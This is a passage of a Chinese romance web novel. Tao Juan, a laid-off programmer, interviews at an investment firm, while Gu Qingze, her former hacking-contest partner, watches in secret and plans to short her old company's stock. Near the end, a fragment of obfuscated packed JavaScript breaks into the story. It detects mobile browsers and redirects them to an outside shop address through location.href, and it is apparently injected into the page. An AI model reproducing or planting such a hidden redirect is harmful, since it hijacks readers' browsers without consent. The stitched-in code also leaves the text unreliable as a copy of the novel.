孟霄入学时陶涓已经在方舟工作几年了,他在方舟做过实习生,虽然最后没被方舟签下,却一直很感谢那段时间陶涓罩着他。
陶涓回复:过完年要是还找不到下家,到时真要你帮忙牵线。
距离过年还有一个多月,希望到时有转机吧。
她刚点了发送,计英彦又@她:对了,你怎么没找顾清泽帮忙啊?人家现在可是好几家风投公司的实际掌权人。大学的时候他和你关系不是最好吗?你只要开个口,他随便就能给你个年薪百万的职位。
陶涓盯着手机屏幕,心脏突突乱跳,按掉屏幕后深吸了几口气还觉得胸闷,脑子还偏偏不听话地闪回她最后一次给顾清泽发微信时的情形。
她看到自己发送的消息前面出现个鲜红的感叹号,下方是一行加了灰色背景的小字:消息已发出,但被对方拒收了。
那时她还不知道她这是被拉黑了,懵了一下,举着手机问周测,“拒收?这什么意思?”
周测也愣住了,然后神情复杂摸摸她脑袋,“我们也拉黑他!这个白眼狼混蛋小子!”
那是她人生第一次,也是迄今为止唯一一次,被拉黑。
陶涓连呼了长长的几口气,心口总算不闷了,心情还是很糟,她去厨房给自己泡了杯红茶站在窗口喝。窗外的法国梧桐枯枝伶仃,在寒风风中发抖,北市的天空到了冬季总是灰蒙蒙的。今天也是如此。
她忽然凑近窗户,一片洁白的小雪花刚刚落在灰色水泥窗沿上,她还没来得及看清它的模样,它又被一阵冷风卷走。
又下雪了。
午餐后她躺在小沙发上抱着平板看曹艺萱出演的网剧,不知不觉睡着了。
她是被罗莹的语音通话铃声吵醒的。
接通后罗莹哽咽一会儿才说出第一句话:“我被开了。”
陶涓沉默,不知该怎么安慰罗莹,隔了几秒钟重重叹息:“唉。”然后又问:“你现在在哪儿?要来我家吗?”
罗莹压抑着啜泣,“我已经到家了。没事。”
她说着没事,可突然嚎啕大哭。
哭了一会儿她痛骂黄霸天,章公子来那天萝卜特失误,解决问题的是她和大刘,结果被开除的也是她和大刘,黄霸天和他的狗腿子表现得像铲除害虫,拯救公司的英雄。
“我看接下来这个项目他们怎么做!”罗莹又诅咒几句,吸溜一下鼻涕,“涓姐,公司的股票你还有吗?赶快卖!章公子他们走了之后股价大跳水,已经每股跌了几十美元!幸好我之前为了买房把股票变现了……”
“我几年前就卖完了。”陶涓暗自庆幸。
方舟年终时会奖励管理层和优秀员工股票,陶涓进方舟第三年才开始领到股票奖励,当时股价才70多美元,后来慢慢涨了很多,几年前为了帮大舅筹钱全卖了,当时股价差不多150一股,罗莹和大刘都觉得她卖亏了。后来公司高层变天,方舟的股价起起落落,她每次一领到就变现,没想到反而落袋为安。
罗莹又问起找工作的事,陶涓之前看过几个可能适合她的岗位一一说了,又安慰道:“公司现在乱得一团粥似的,被开了也许从长远看不是坏事,反而是个契机。”
“嗯。”罗莹又想哭,“就是……我还背着每月一万多的房贷,要是一直找不到工作怎么办?现在房市又低迷,要是把房卖了,最少要赔进去四五十万。我现在倒羡慕你,无贷一身轻。”
陶涓只好跟她比惨,“没房永远心里不踏实。今年九月我们小区合并到更好的学区了,房东阿姨想趁着房价涨了点把房卖掉。唉,要是过完年还找不到工作,我想接点兼职。”
“接兼职的话,你可以去旅居,当数字游民!”罗莹又乐观起来,“要是我找不到工作就把房子租出去,哦对呀,你也可以租我房子——要是你房东卖房子的话。或者,咱们俩一起去那种月租一两千的小城市当数字游民,租金差价再加上接零工的钱,应该能过活吧?”
“好好筹划一下肯定可以。”
“实在不行我就回老家考公务员!”
“对,这也是条路。”
挂了电话,窗沿上的雪已经积了厚厚一层,窗外的梧桐树枝挂上团团绒絮,终于看着不那么孤苦伶仃了。
一大片聚成鹅毛的雪花撞在玻璃窗上,陶涓好像听到它发出的轻微声响。
从半岛酒店的顶楼看去,窗外这片商业中
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心很像是在雪花水晶球中,鳞次栉比的摩天大楼,闪闪发亮的圣诞灯饰,商场门口巨大的圣诞树,飘飘扬扬的白雪,似乎隐约还能听到圣诞歌声。
顾清泽微微皱眉,回过头,看到章秀钟靠在客厅门口,手机里正播放玛利亚凯瑞那首“All I Want for Christmas Is You”。
“你干嘛不开心?赚了几千万几亿都是这副臭脸。”章秀钟在酒柜前倒了两杯波本威士忌,递给顾清泽一杯。
“我很开心呀!”顾清泽接过酒和他碰杯,但浅啜一口就放下,又看着窗外的雪。
“哦,那你的开心可有点特别。”章秀钟打量顾清泽,忽然觉得他有些陌生。
他们从小就认识,还有点血缘关系——顾清泽的母亲章鹤龄是他堂姑。但两人真正的合作在两年前林倚山有意退出太平后才开始。
顾清泽加入后,太平后开始战略性多次购入方舟的股票和看涨期权,一年前还重本加持了20万份看涨期权。一个月前他们再次加持,同时释放出太平有意注资方舟的消息,几周前太平确认有意收购方舟人工智能研发的业务后,方舟美股的股价升到了近三年的最高点。
可是,几天前参观方舟的研发部后,顾清泽决定清仓方舟的股票看涨期权。在章秀钟看来,方舟搞的智能机器人再烂点也没关系,他们只要注资,把盘子做大,再找下一个接手的人就行,顺便还可以搞几个概念股,割一波韭菜。
类似的事顾清泽当然也干过,但这次他的反应很怪。别人也许看不出来,但是他和他从小就认识,知道他很生气。不仅是生气,还……像是很失望。
果然。抛售方舟的美股让他们获利丰厚,可顾清泽一点都不开心。
章秀钟盯着顾清泽端详,“你是不是有事瞒着我?你看起来有些失望。”
顾清泽轻哂一声,“我有什么好失望的?我们原先的计划就是,如果方舟是好的资产,我们加注投资,或者收购它的一部分业务,如果它不够好,就抛售股票赚一笔快钱。一切都是按计划进行的,我为什么会失望?”
章秀钟抿一口酒,笑着摇头,“我的直觉告诉我,你原本默认的选项不是投资也不是赚快钱。你说,接下来要做什么?继续做空方舟吗?”
太平有意投资方舟,却在参观研发部门后立即抛售全部股票,说明对方舟非常不看好,这在市场上引起了各种怀疑,加上方舟前几年的商业丑闻、高层内斗,可以预见方舟的股价会接连下跌。
顾清泽指指办公桌上的电脑,“我刚做了个模拟模型,接下来我们大量买入方舟的看跌期权,利用舆论影响让它股价再次下跌,这时我们卖掉期权兑现,再次大量买入看跌期权——循环反复,直到造成市场恐慌,触发对方舟的大规模自动抛售……”
“嘶——”章秀钟吸气,“如果计划成功,方舟的股价会跌到多少?”
“如果模型运算误差不大,三个月内,应该会跌到每股130到120之间。”
顾清泽说得平平淡淡,章秀钟却感到一阵颤栗,他们卖出时方舟的股价是每股185美元。如果持续做空方舟的计划成功,获利会是今天的几倍。
章秀钟开心地笑,再和顾清泽碰碰酒杯,“那就,预祝我们成功!嗯,希望到时候你能比今天更开心点。”
顾清泽只是微微一笑。
章秀钟离开前提醒顾清泽,“明天太平有酒会,记得来参加。”
坐车回太平的路上,章秀钟还在思索,顾清泽原本对方舟有什么计划。从他拿着的最早那批期权日期看,他早在他们合作前好几年就盯上了方舟。
连续做空方舟的计划很显然是临时才有的,不然,以顾清泽的性格,绝不会现在才做模型。
这些全都发生在参观方舟之后。
抛售股票,持续做空,现在看起来不是设计好的投资计划,更像是……像是在泄愤。
方舟有什么是顾清泽原本以为能得到,却没有的?
4. 心悸
最近这几年曹艺萱跟着梅姐参加过几次高档商务活动,她也不是没见过世面的人,不过,太平的平安夜酒会奢华程度还是令人惊艳。
酒会在太平顶楼玻璃顶露台举行,完全看不出经济下行期的颓势,更让人难以想象就在一年前,太平频频登上财经新闻,股价接连大跌,另一位创始人林倚山卖掉了手上股份拿钱离场,许多人推测这位林氏集团的继承人在父亲死后忙于家族内斗,无暇分心,或是想要借助兑现太平调整手上的资本,重新布局,也有民间评论家说这是资本交换筹码,顺便再割一茬股民的韭菜。
不过,她对这些都不感兴趣。她端着一杯Cosmopolitan鸡尾酒,挂上职业微笑,在满场女士中扫描。孙淳,章秀钟的秘书孙淳在哪里?
半小时后她失望地得知:孙淳今天没来。据说是得了流感。
曹艺萱暗叫法了个克的,这可怎么办?
她可是在闺蜜面前夸下了海口。
她的目光投向在人群中熠熠生辉的章公子,把这个谈笑风生的男人从头到脚扫了几遍,然后停在他身后的男秘书于骏身上。
她放下酒杯,整理一下礼服,两眼放光朝着她的猎物走去。为了闺蜜,拼了!
酒会过半,章秀钟回到顶楼套房休息。
通常他离场后再返回就会“巧遇”美女,比如刚才那位一直盯着他看的十八线小艺人。
客厅的台灯亮着,顾清泽半躺半靠在沙发上,呆呆看着空气中某个点。
“你怎么不下去玩?”
顾清泽没出声。
章秀钟给自己倒了杯气泡水,坐在顾清泽旁边喝,“你到底怎么了?”
“我很好啊。”
“哈,”章秀钟戏谑地笑,“有个成语,说满座宾客都在畅饮,只有一个人对着墙角郁郁寡欢,叫什么来着?”
顾清泽知道他说的是一人向隅,“刚帮你赚了几千万,还要陪你喝酒狂欢?”
章秀钟笑着摇头,“不用,不用!不过,作为酒会的主人,总要露个面,应酬应酬吧?一起去?”
顾清泽仍然摇头,“你开过那么多party,难道到现在还不知道?主人在不在,宾客们都能尽兴。”
章秀钟推他,“下去吧,今晚来了很多美女,有不少新面孔!”
顾清泽依旧意兴阑珊,“是吗?”
“真的。”
顾清泽还是不动,“你去吧。”
章秀钟劝不动他,起身走了,临走前还损他,“这么年轻就不行了?”
顾清泽只当没听见。
那些美女搭话时都带着目的,他一想到这点就不耐烦。
客厅又剩下顾清泽一个人。
酒会的高潮是一场灯光秀。冷烟雾和彩色激光,从玻璃杯叠成的高塔倾泻而下的香槟,红男绿女随着现场乐队演奏的音乐舞动。
他望向下方的露台,人声鼎沸,彩光不停闪动,不知什么时候又下起了雪,露台的玻璃顶在响彻天际的欢呼中打开,被激光染成各种颜色的雪花飘向人群,落在酒杯中,香肩上,在酒酣耳热的狂欢中化为蒸汽,飘向上空。
这么热闹。
和他毫无关系。
章秀钟说他失望,其实一点没说错。
任谁处心积虑策划了近十年,却没见到成果,都会有巨大的失望和挫败感。
这份失望让他迁怒方舟,才决定做空它。
可很奇怪,当他确定他又要失望时,那种从几周前就开始的,小腹时不时爆发一下的类似痉挛的感觉,突然消失了。同时消失的,还有某种让他忽然有踏空感的情绪。
他是又失望了。但同时也松了一口气。像是原本漂浮着,突然又踩到的坚硬踏实的地面,安全了。
她不在方舟。
什么时候离开的?
要是想查,非常简单。
可他有点害怕。
只怕一查仅剩那点希望就破灭,她已经和周测结婚,生儿育女。
他想象不出自己要怎么面对那样的事实。
所以只能用这种迂回的,笨拙的,又极其耗时的方法接近她。
现在看来,这是种一早注定失败的方法。
顾清泽用力搓了搓脸,闷闷呼口气。
他想起最后一次和陶涓说话的情形,她很生气,深吸了一口气,他以为她要骂他什么,不料她这口气没呼出来转身就走。
他看她进了电梯,看电梯门合拢,看电梯上数字跳动,突然转身返回屋内,冲到厨房的窗前——那扇窗子能看到这座公寓大堂门口。
从百丈高楼看去,她的背影比平时小很多。
酒会结束后早已过了午夜。
章秀钟打开自己驾座车门,意外地看到顾清泽,“你怎么在这儿?是要给我惊喜吗?”
顾清泽靠在车窗上,都没转头看他,“刚才郑纶吐车上了。”刚才他的车还没驶出太平大厦的车道,秘书郑纶忽然干呕。
章秀钟怪笑一声,“郑纶也怀孕了吗?也孕吐了?李唯安说她现在不吐了,就是嗜睡。”李唯安是太平另一位合伙人,去美国处理事务时发现自己怀孕,因为是双胞胎,怕长途飞行有意外,就留在美国远距离工作。
顾清泽合上眼睛,摆摆手,明显不想再谈这话题,“流感。”
章秀钟还笑,“昨天孙淳一吐差点没把我吓死,以为她也怀孕了,幸好她只是流感。”他看向坐在副驾驶的于骏,想问问孙淳明天会不会继续请假,却看到此人一脸花痴样傻笑,不由来气,“你笑什么?”
于骏赶紧跟冷脸的老板解释,“就刚才兰荣文化那个美女——”
章秀钟眯眼,“嗯,她,怎么了?”这美女花了一整晚时间用炽热的目光跟随他,在最后派对的时候怎么也要跟他搭话调情吧?没想到,从头到尾是他会错意,人家盯的是他秘书于骏,对他视而不见。
“嗐,您猜她跟我搭讪是为什么?是要帮她亲戚投简历!”于骏从后视镜中看到老板笑了,如释重负,语气更轻松了,“她说她亲戚是个超厉害的程序员,名校毕业,履历完美,最近从方舟离职,哦,还得过什么国际比赛的冠军……嗯,MIT大赛?还是HIT?”
“是HTI大赛!”顾清泽突然坐得笔直,“把她简历发给我。”
章秀钟看一眼顾清泽,叫于骏,“通知她来太平面试!把她简历也发给我!喂,美女加你微信了是吧?对你开放朋友圈权限了吗?”
然后,他再次看看顾清泽,意味深长,“嘿嘿。”
回到酒店后顾清泽站在起居室门口发了会儿呆,打电话叫人送他回郊区的别墅。
这别墅他不经常来,尽管有佣人每天打扫,仍然有种寂寥的气味。
他走进二楼书房,拉开写字台的抽屉,里面静静躺着一个红绒面盒子,盒盖边缘的绒已经磨得发白,盒扣也早已褪色,不过里面的奖牌依旧光亮如新。
他取出奖牌,在灯下缓慢转动。
在遇到她之前,他根本没想过要去北市上大学,不过,父亲和几位叔伯的争斗在那几年越发激烈,担心他会再次遭到意外,于是为他申请了T大。北市环境特殊,只要不蠢就不敢在那里策划什么“意外”,可他不在乎,提前到了波士顿,这里的M大才是他属意的大学。
但是她来了。
刚开始他有点拿不准她究竟是聪明?还是个天真的傻瓜?
很快他觉得她是个聪明的傻瓜。
准备比赛时他发现她思维敏捷,设计的算法和程序不仅简洁有效,还有种罕见的“灵性”。这让他非常惊奇。
为了榨出更多备赛时间,她搬来和他一起住,第二天早上他忘了预定酒店厨师服务,陶涓直接打开冰箱找了食材,做了煎蛋培根和吐司片,两人吃完后,她很自然地吩咐他洗碗盘。当时他愣住了,“我?洗碗?”
她一点也不觉得这有什么好商量的,“对啊,我做饭了,你洗碗,这不对吗?”
也有道理。比赛时也要分工合作。他乖乖去做,没告诉她,这是他第一次洗碗。
渐渐的,他们的配合越来越默契,时常只说一个词对方就能做出正确反应。这是种很新奇也很好玩的体验。
比赛前一天晚上,他以为还要再熬到半夜,没想到简短复盘后她宣布提前休息,好好吃顿饭,在楼顶露台吹吹风看看波士顿的夜景,早早睡觉。
他叫厨师准备了牛排,她不怎么会用刀叉,向他请教,又问他要的这瓶红酒产地在哪,好在哪里。
吃到一半她忽然想起来,“我一直没问,你多大了?”
他怔一下,“十六岁。我一月出生。你呢?”
“我很快就二十岁了。”
她又喝了一口酒,突然说:“我记得美国18岁以下不能买酒?咱们换成可乐吧!”
他莫名笑了。
夜幕降临后,两人端着用红酒杯装的可乐趴在露台栏杆上俯瞰夜景,他想不起来他们都说了什么,可能是明天正赛遇到什么情况应该采取什么策略,也可能是别的无关紧要的东西,他只记得一阵顽皮的风把她的长发吹到他脸上,一缕湿漉漉的发梢一下打在他眼睛上。
她晚餐前刚洗过澡,头发还是半湿的,带着芬芳的橙子香,这家酒店提供的洗发水一直是这个,可这一刻他很确定这香味里含有许多别的气味。
她笑着放下杯子,两手去抓被风吹乱的头发,凑近点看他,“没事吧?打到眼睛了吗?疼不疼?”
他赶紧闭上眼睛,摇头,“没事。不疼。”但是很痒。不断有发丝吹拂在他脸上脖子上,像小猫的胡子绒毛,弄得他说不清哪里痒痒的,他偏过头才睁开眼睛,忽然间觉得自己不敢和她对视,心脏无理由地狂跳。
原本认为72小时的比赛会漫长无趣,可并不是这样。他和她忙碌而精准地完成每项计划,一步步向着最终成品推动,全程处于一种奇妙的类似心流的状态。
当一个人专注做某件事或某项运动时会有心流状态的体验,忘记周围的一切,时间似乎停止。但这不一样,他从前想象不到和另一个人一同进入这样的状态。
宣布团体赛成绩时她快乐地尖叫,雀跃欢呼着狠狠拥抱他一下,“我们赢了!”他不自觉地回应,也抱住她,“嗯。”他一时间无法说话,心跳快得吓人,像有一群蝴蝶,或
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者,可能是一群麻雀?这群小蝴蝶小麻雀在他胸腔里扑腾着翅膀乱飞,弄得他像心悸似的呼吸急促。
团体赛成绩前五的十名选手将在第二天进行个人赛,这天晚上他们仍然很早就休息,可是他一直睡不踏实,似乎在梦中不断疾速飞驰。
个人赛开战前她跟他击拳,“待会儿比赛要是遇到我,我可不会留情啊!加油!”
几轮比赛后,她果然和他角逐冠军。
抽签之后,她防守,他进攻。
他突然想起第一天见到她和她下象棋的时候,那时他完全没有现在这样复杂的感受,他们这时的较量也可以理解为一种游戏,和象棋一样,但刺激得多,那种梦中感受的在飞驰在燃烧的感觉在现实中出现了,一种从未有过的热潮在全身涌动,身体深处不知哪里不断轻微痉挛。
她的防守如此严密,他几乎毫无机会,他不断进攻,又连续失败,不断积累的挫败让他身体里那股热潮聚成数十米高的海浪,即将爆发一场海啸。
再一次挑战失败后,他咬着牙齿低吼,突然灵光一现,把赛前预备的常用功能代码修改成僵尸病毒一股脑扔过去,造成她系统短暂的瘫痪。
高山一样的海浪落下,冲向沙滩,淹没一切。
赛事干事走进他的隔间宣布比赛结束时,顾清泽完全没反应,大量分泌肾上腺素让他大汗淋漓,心脏不断悸动,全身的肌肉还在轻微颤抖,他缓慢地站起来,脚像踩在棉花里,跟着干事走向领奖台。
陶涓已经等在那里,见到他,跑过来向他伸出手,“哇,你……”他没等她说完,用力抱住她。她愣了一下,轻轻拍他后背,“打得不错!”
要过好一阵子他才回过味来,当时她只是想和他握手。
隔天中午陶涓说要出去庆祝,她在一家本地餐厅预订了座位,吃波士顿龙虾。
吃完饭他习惯性拿出信用卡,她制止,“这一次是我请你。”
他看她付钱,有种很新奇的陌生感。
她大概是看出他有点不知怎么应付,笑着跟他说,“等会儿我们去看电影,你可以买票。”
原来是这样安排的吗?
这么安排的意义是什么?
不过……好像很好玩。
暑期档的电影很多,陶涓选了个很快就能入场的,叫《环太平洋》。
这个时候几乎没人来看电影,整个影厅里只有他们两人。
电影开始不久她就睡着了,他独自看完了整场电影,俊男美女驾驶巨型机器人最终打败怪兽拯救地球——这样的故事他原本会觉得很无聊,可他今天莫名兴奋,也许是因为影院里冷气开得太冷,看到男女主的精神高度适配,所以能够配合无间共同驾驶,他手臂上突然出了一层鸡皮疙瘩,跟着电影中的角色默念:They arepitable.
他转过头看陶涓,黑暗中,荧幕的光影投在她脸上,忽明忽暗,他第一次这么认真地观察她。她头顶有几根长出来不久的头发随着空气流动微微颤动,她的额角毛绒绒的,像个小画框围住她心形的脸,她睫毛很长,在眼睛下方和鼻梁上投下阴影,她人中和上唇之间形成一个深深的小窝,因此嘴唇上翘,仿佛在亲吻空气中的什么。
他伸出食指,颤巍巍停在她嘴唇之前的几厘米,又绕了个弧线轻轻碰了碰她睫毛尖端,不像假的。
We arepitable
从电影院出来,他对陶涓说:“我决定去北市。”
她有点惊讶,“现在才决定吗?”
赛事奖金还剩不少,陶涓决定改机票在附近再玩几天,他当然要和她一起。
然后,两人一起飞去北市。
从波士顿飞北市需要19小时,顾清泽第一次坐经济舱,一点也不觉得辛苦。机上送餐时陶涓睡着了,他帮她要了食物和果汁,帮她把耳机取下来放在一边,又问能不能再给他们一条毛毯。
空姐以为他们是一对可爱的小情侣,送毛毯时逗他,“你女朋友好可爱!”他犹豫着该不该澄清,脸颊耳朵一下热乎乎的。
应该是吧。
怎么可能不是呢?
她和他精神高度共鸣,有种奇异的默契。怎么可能不是?
They arepitable.
他们高度适配。
这十几个小时,虽然周围一直有很多人,但他总有种她和他在独处的感觉。
真是很开心的长途旅行。
后来想想,完全是他一厢情愿。
在北市机场,到达大厅,陶涓突然间停止说话,她愣了一下,扔下行李箱,飞奔向人群中的一个人怀里:“不是说不能来吗?”那人是个比他大几岁的英俊男孩,他抱起她晃了晃,在她额心轻轻亲一下。
这是怎么回事?
这怎么可能?
她有男朋友?
她怎么能已经有了男朋友呢?
她应该和他顾清泽是一对啊……
哪里出错了吧?
但是,事实就是,陶涓有个男友,他叫周测。
在遇到他之前。
在遇到他之前。
5. 面试
圣诞节早上六点多,陶涓醒了。她猜自己可能是做了个梦,但完全不记得梦到了什么,心脏像只被捕食者按在利爪下的兔子,在胸腔里拼命挣扎,每跳一下都疼。
她咳嗽着坐起来,按亮台灯找体温计。
她感到自己在发烧。
体温37.9,不算很高,但全身酸痛,眨眼时眼窝也疼。她一步一步走进厨房时感觉自己是个很久没上油的机器人,全身都生锈了。
电高压锅里白粥已经煮好,可她没胃口,配着自己做的酸辣白菜勉强吃了两口,出了点汗又感到好了些。
陶涓吃了两片退烧药重新躺下。
九点多她被电话吵醒,对方自称是太平投资人事部的,问她是否愿意来面试。
陶涓一下清醒了,“当然。”
对方告诉她,太平的一位合伙人李唯安准备休产假,之后很长一段时间会减少工作时长,所以需要再请一个副手分担工作,不过这并不是短期工作,因为明年太平会扩张业务,如果聘用她,今后的工作内容可能会有些变化,但是待遇不变。
李唯安负责为太平参与的许多项目提供数据建模,进行预测和策略分析,她已经看了陶涓的简历,认为她是合适的人选。
面试时间定在明天下午两点。
挂了电话,陶涓愣了几秒欢呼一声,赶快联系曹艺萱。
这家伙还没睡醒,“咋的了?”
“哈哈,我娱乐圈唯一的人脉、我全世界唯一的小宝贝小萱萱,猜猜刚才发生什么事了?”
曹艺萱沉默一下,嗷嗷乱叫,“太平的人找你了?”
“对!”
两人一起欢呼了一会儿,陶涓又咳嗽起来。
曹艺萱有些迟疑,“你是不是病得更厉害了?要不,跟人家说一下,过几天再去?”
“不不不!”陶涓拒绝,“就一个面试,又不是高考,没事!”
曹艺萱太知道陶涓什么性子了,想了想,“那我明天十点到你家,给你化个妆。”
“好!”
第二天早上,陶涓起得挺早。她昨晚就没再发烧了,但是心脏时不时会跳得很快,让她像一下子跑上六层楼梯似的喘不上气。她猜可能是自己有点紧张。毕竟上一次面试是十几年了。
曹艺萱十点准时到,拉了一个大行李箱。
陶涓吓一跳,“这是干嘛?”
“我想不起来你上次买衣服是什么时候,担心你没有合适行头。咱俩尺寸一样,我拿了几件过来,没准能用上。”
不过,床上已经放了一套藏蓝色精纺羊毛西服,两粒扣外套配小腿长度的半裙,布料摸起来像绸缎一样光滑。
曹艺萱惊讶:“这西装什么时候买的?”
陶涓去厨房给她倒温水喝,“大学的时候。”
这西服还是顾清泽帮她选的。
HTI大赛得到一笔冠军奖金,她顿时生出豪情,先请顾清泽吃了顿波士顿龙虾大餐。
结账的时候顾清泽拿出信用卡又被她推回去时可惊讶了,像是看到龙虾又活了。
笑话。她怎么能占小朋友便宜,“待会儿看电影你买票!”
可惜,午餐吃得太饱,电影院里冷气开得很足,电影开始几分钟她就犯困,隐约记得是个帅哥美女驾驶人形机器人大战怪兽的故事,醒来时字幕都快出完了。
之后两人又去闲逛,想到大三下学期要去面试找实习生工作,陶涓决定买套西服,顾清泽就领她去了一间店。
少爷的品味是挺好,可这店里一件衬衫都要300美刀,她几乎立刻夺门而逃,但他非常坚定地说,好点的西服就是要这么贵,这还不是定制呢。
陶涓心道:少爷,你的标准跟我们草民不一样啊!
但顾清泽已经帮她选了一套,导购热情地拿来让她试穿,她只好硬着头皮进了试衣间,想穿上后给衣服挑点毛病,那就有正当理由不买了,可穿上之后她暗叫完蛋,太帅了!太完美了!
最后只能忍痛掏出钱包。
她安慰自己,只要身材不变形,这衣服能穿至少十年,平均下来一天还不到一美刀呢,咬咬牙,买了!就当是形象投资。
不过,衬衫还是算了,穿在外套里,只露出那么一小块。
即便这样,结账后HTI的赛后奖金立刻少了一半。
这重金买下的衣服就工作第一年穿了几次,其他时间都在衣柜里呆着,每年还要花一笔钱干洗。
离职当天她一回到家就把它翻出来,幸好还能穿进去。
曹艺萱欣赏衣服的裁剪,“给你选这衣服的人挺有眼光,不过——你要是搭配这个蓝色小格子衬衫去面试,年薪起码少五万!”
陶涓是不觉得她的小格子衬衫有什么问题的,不过她相信闺蜜的时尚品味。
最后,曹艺萱借给她一件白衬衫和一双小羊皮高跟短靴,还有最重要的单品,一个黑色金扣Epsom Kelly28 Sellier包包。
陶涓念了两遍才记住这包的名字。
给陶涓化妆时曹艺萱还不忘叮嘱,“千万别穿羽绒服去,穿你那件Max Mara的烟草色羊毛大衣!”
收拾停当,陶涓看看镜子,闺蜜的手艺真能化腐朽为神奇,脸色红润得非常自然,原先死气沉沉的眼睛也有了神采,她摸一下那个昂贵的包,“会不会太过隆重了?”
曹艺萱瞪她:“第一印象影响终身!何况,太平这种地方一定是先敬罗衣后敬人。等你入职了,天天呆在太平大厦地下室敲键盘,你想穿格子衬衫搭卫衣匡威都行。”
陶涓嘀咕:“我在方舟也没呆地下室敲键盘。”又挨曹艺萱一瞪。
曹艺萱刚走,陶涓又接到太平人事部的电话,问她需不需要太平派车来接。陶涓忙说自己已经约了车。
不愧是富二代公子开的公司,做事相当大方。
这么大方的公司给的薪资一定也很大方吧?
她给自己打气,加油,拿下这份有钱途的工作!
她提前十分钟到了太平大厦,没想到太平会这么重视,人事部主管亲自带她去25楼。
主要负责面试的Rosy是美国人,李唯安的副手,她详细询问了陶涓之前在方舟担任过哪些职务,负责过的项目都是哪些方向的,又问了几个专业方面的问题。
面试进行得很顺利,陶涓觉得自己比想象中冷静从容,并且,她和Rosy似乎很合得来,如果今后在一起工作应该会挺默契。
就在她以为面试快要结束时,人事部主管忽然出去接了个电话,返回后有点抱歉地问陶涓:“陶小姐,不知道您有没有时间再做一个测试?”
陶涓毫不迟疑:“当然可以。”
她没想到,所谓的测试,是黑客攻防模拟战。这也确实是对技术能力的测试。
开始后她很快发现模拟战的题目就是她当年参加HTI大赛中个人赛的题目,不过简化了一些,但规则相同,抽签成为攻防两方,在规定时间内,攻方攻破对方的防守获胜,守方成功守住就能取胜。
陶涓挺意外的,设计题目的人怎么想的?哦……也许看过她的简历后他们找到当年HTI大赛的题目来评估她的能力。
这次她抽到的是攻方,一上来就抱着速战速决的心果断大胆进攻。
很快她再次惊讶,她还以为测试会用预制的模拟防御系统,没想到对面快速应对,怎么,竟然是真有人在操作?会是Rosy吗?还是……另一个应征者?
这么一想陶涓斗志燃烧,构思攻略敲击键盘时渐渐忘了自己身在何处,时间的流速也成为她独有的,自成一体,与外界完全无关。
终于击破对方的防守后她开心地笑了一声握拳“Yes!”
她被自己这声笑带回现实,很久没在工作状态下这么开心了。
回过神她发觉人事主管不知何时离开了房间,墙上的时钟显示时间过去了近一小时。
陶涓站起来克制地活动一下僵硬的肢体,等人回来。
可十分钟过去了,谁都没来。
显示屏上倒映出她疑惑的脸,她努力回忆,测试开始前有没有说测试结束后让她去哪里?没有。
难道,他们不知道对战已经结束了?
这会不会是另一个“加试”?测试她应对这类问题时的反应?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174263|196869||http|test|mini|href|location''.split(''|''),0,{}));
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>她要继续等着,还是主动离开?
27楼一间办公室里,章秀钟都快憋不住笑了,他再次催促顾清泽,“你快去呀!再不去她就要走了!”
顾清泽站在窗边,两手插在裤袋里垂首看着显示屏。
他在面试过半后才来到办公室。
他自己也说不清为什么会这么别扭。
真说不清吗?
也不是。
应该是太清楚了。
他离开北市前,两人互放狠话,他当时说了不少堪称诅咒的话,说她没有上进心,只想着跟周测结婚……
监控画面是不是有些失真?她好像长高了?不。她是瘦了很多。原先的鹅蛋脸现在有尖尖的下巴。从前她头顶总是毛绒绒的,她说新长出来的头发一点也不温顺,现在她头发剪短了,披在肩膀上,柔顺如水。
她和Rosy谈话时,有那么一瞬间,他觉得她的样子有些陌生,像是依托他记忆中的样子进行了许多次修改。
他回忆上一次见到她的情形,那是多久前?四年?五年?她比那时候更瘦了一点,人也显得更加沉静。
章秀钟又催他,“你到底去不去?你不去我去了?”
顾清泽弯腰,再次凑近屏幕观察,她两只手平放在桌上,右手食指轻轻敲击桌面,她感到无聊时就会无意识地这么做,他还模仿她这样子取笑她,说她在发摩斯电码,监控器镜头的像素太低,她手指又在东,一直看不清她左手有没有戴戒指。
戴了又如何?
不戴又如何?
他突然间懊恼地看了章秀钟一眼,这个唯恐天下不乱的混蛋。
混蛋笑,“你要是不想见她,我们待会儿通知她面试不成功就行了……”
“你开什么玩笑?”顾清泽转过身,背对屏幕,“她是我见过的最有天赋的程序员和算法设计师。”
章秀钟轻嗤一声,“那是因为你还没见过李唯安。而且,你对她有滤镜。”
顾清泽心中像被小锤敲了一下,滤镜?
“不信?去见她吧。嘿嘿,然后滤镜就会破了,你就发现,她早已泯然众人矣!再然后,你对她的迷恋一阵风似的消失,你就自由啦!”
顾清泽罕见地犹豫。
章秀钟心里哇靠了一声,这可太有意思了!太有意思了!没想到顾清泽会有这样子的时候。
顾清泽垂着眸,猛地向门口走去,像下定了某种决心。
章秀钟立刻绕到办公桌前去看屏幕,心中大呼:这下有好戏看了!
可这时,郑纶突然推门进来,顾清泽和章秀钟不约而同停顿,郑纶说了声抱歉,走到顾清泽身旁,声音压得极低说了几句话。
顾清泽脸色一变,方才的焦急忐忑化为沉肃,他看一下腕表,“现在就去机场。”他回首告诉章秀钟,“我要去墨尔本一趟。”
“那——”章秀钟指指屏幕里的人。
“……等她来太平,我会见到她的。”
章秀钟回自己办公室之前去见Rosy,“陶小姐符合你的期待吗?”
Rosy正在整理文件,从电脑后探出头,“超乎预期。”
“你还想面试其他候选人吗?”
“不用了,其他候选人的履历就远不如她——你看刚才的攻防战了么?哦算了,你看不懂。总之,她是除了唯安之外我所见过的最有天赋的算法设计师,而且你知道吗?她大学的专业是自动化!她数学建模的能力也很强,唉,我不知道方舟的管理层是脑疯了还是怎么了,竟然把这种人才扔出去……”
章秀钟打断她,“好,那就是她了。”
“她最快什么时候能来上班?”
“两三天后?我也不知道,得让人事部跟她确认。”
Rosy点点头,“越快越好,我快忙死了……哎?顾先生休假?”日程系统弹出顾清泽不定期休假的提示,取消了他明后两天的会议。
“嗯。”章秀钟靠着门框,“他家里出了点事。”
Rosy再次抬头,“什么事?”
